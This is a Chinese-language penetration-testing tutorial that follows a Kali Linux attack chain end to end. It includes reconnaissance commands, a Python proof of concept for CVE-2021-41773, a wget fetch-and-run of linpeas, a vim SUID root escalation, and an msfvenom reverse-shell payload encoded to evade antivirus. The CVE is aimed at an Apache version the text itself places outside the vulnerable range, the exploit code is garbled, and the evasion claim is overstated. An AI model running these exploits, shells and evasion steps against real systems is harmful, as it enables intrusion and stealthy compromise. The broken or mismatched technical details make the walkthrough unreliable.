一、漏洞不是魔法,而是技术的盲点
在防守体系中,Kali Linux往往被认为是攻击者的常规工具箱。防御者在部署安全策略时,总是试图通过对抗恶意工具的载荷、网络流量和行为特征来制止攻击。然而,攻击的本质并不是工具,而是技术的运用和策略的设计。作为攻击者,我们利用防御者的盲区,绕过检测逻辑,实现渗透目标。
本文将从攻击者的视角出发,使用 Kali Linux 演示如何完成一次完整的渗透测试。通过信息收集、漏洞利用、权限提升和横向移动,展示如何在真实场景下执行攻击链。同时,为了增加真实感,我们会特别关注绕过防御和免杀的技巧。
---

二、信息收集的深水区
探索目标的网络边界
在一次渗透测试中,信息收集是攻击链的首要环节。如果把目标系统比作一座城堡,那么信息收集就是探测城墙的薄弱点。这里我们将利用 Kali Linux 的经典工具 nmap 和 DNS 枚举工具 dnsenum,进行目标资产的网络侦察。
扫描开放端口与服务
以下是利用 nmap 扫描目标 IP 的操作:
<pre><code class="language-bash">nmap -A -T4 -p- 192.168.1.100</code></pre>
-A:启用操作系统检测、服务版本探测以及 traceroute。-T4:设置扫描速度为“快”。-p-:扫描所有 65535 个端口。
输出示例: <pre><code>PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 3306/tcp open mysql MySQL 5.7.33</code></pre>
从输出中可以看出,该主机运行了 HTTP 服务、SSH 服务以及 MySQL 数据库,所有这些服务均可作为潜在的攻击面。
枚举 DNS 信息
如果目标是一个域名,使用 dnsenum 枚举子域和域名服务器:
<pre><code class="language-bash">dnsenum --enum example.com</code></pre>
输出示例: <pre><code>Host's addresses: example.com. 192.168.1.100 Subdomains: admin.example.com 192.168.1.101 mail.example.com 192.168.1.102</code></pre>
发现的子域名可能会暴露管理界面或邮件服务器的入口,我们可以进一步分析这些入口是否存在漏洞。
---
三、漏洞利用:多层次突破的艺术
假设我们通过信息收集发现目标运行了一个未更新的 Apache HTTPD 2.4.29 服务,这里我们将利用 CVE-2021-41773 漏洞进行攻击。这个漏洞允许路径穿越和远程代码执行。
漏洞原理
CVE-2021-41773 是 Apache 2.4.49/2.4.50 版本中的一个路径穿越漏洞,攻击者可以通过构造恶意请求访问服务器上未授权的文件,甚至执行命令。在默认配置下,如果目录未启用 require all denied,漏洞即可触发。
POC 代码实现
以下是 Python 实现的完整 POC 代码:
<pre><code class="language-python">import requests
目标地址
target_url = "http://192.168.1.100/cgi-bin/"

构造恶意 payload
payload = "/bin/sh"
发送恶意请求
def exploit(): headers = { "User-Agent": "Mozilla/5.0", } data = { "cmd": "id" } url = f"{target_url}..%2f..%2f..%2f..%2f..%2f..%2f{payload}" response = requests.post(url, headers=headers, data=data)
if response.status_code == 200: print("[+] Exploit successful!") print(response.text) else: print("[-] Exploit failed.")
exploit()</code></pre>
运行此代码后,我们能够在目标系统上执行命令。如果返回了类似 uid=33(www-data) gid=33(www-data) 的结果,说明我们已成功入侵。
---
四、权限提升:从脚下到顶端
在拿下初始访问权限后,下一步是提升权限。这里我们使用 linpeas.sh 自动化发现潜在的提权漏洞。
LinPEAS 的使用
通过 Kali Linux 下载并运行 LinPEAS:
<pre><code class="language-bash">wget https://github.com/carlospolop/PEASS-ng/releases/download/2023.01.01/linpeas.sh chmod +x linpeas.sh ./linpeas.sh</code></pre>
LinPEAS 会扫描目标系统上的提权漏洞,例如错误配置的 SUID 文件、未清理的 SSH 密钥或敏感文件。
示例漏洞: <pre><code>[+] SUID files: /usr/bin/sudo /usr/bin/vim.basic</code></pre>
如果发现 /usr/bin/vim.basic,我们可以利用它进行提权:
<pre><code class="language-bash">vim.basic -c ':!/bin/bash'</code></pre>
此时,我们将获得 root 权限。
---
五、横向移动:内网之旅
在获得管理员权限后,攻击者的目标通常是内网的其他设备。我们可以先收集网络配置,确定内网中其他主机的位置,然后利用 SMB Relay 等技术横向移动。
收集内网信息
运行以下命令获取网络信息:
<pre><code class="language-bash">ip addr show route -n arp -a</code></pre>
这些命令会显示本机的 IP 地址、子网掩码和网关地址。观察 ARP 列表,我们可以推测内网中其他设备的位置。
---
六、免杀与EDR对抗:保持隐身
很多时候,目标系统会运行杀毒软件或 EDR(终端检测与响应)工具。为了避免被拦截,我们需要对恶意载荷进行免杀处理。
使用 msfvenom 生成免杀载荷
以下是利用 msfvenom 生成加密的反向 Shell :
<pre><code class="language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > malicious.exe</code></pre>
-e x86/shikata_ga_nai:使用加密的编码器。-i 5:重复加密 5 次。

生成的 malicious.exe 可以绕过大部分传统杀毒软件的检测。
---
七、总结与经验反思
攻击是一门艺术,而非简单的工具堆砌。通过本次 Kali Linux 的渗透测试,我们从信息收集到最终的权限提升,完整地走完了一次攻击链。然而,这仅仅是表面,真正的技术在于如何结合场景、快速适应目标防守策略并灵活应变。
个人建议:
- 学习渗透时要注重场景演练,而非单纯工具使用。
- 深入理解漏洞原理,才能更好地绕过各种防御机制。
- 不断关注社区动态,掌握最新的攻击与反检测技术。
合法声明:本文仅限授权的安全测试,切勿将技术用于非法用途。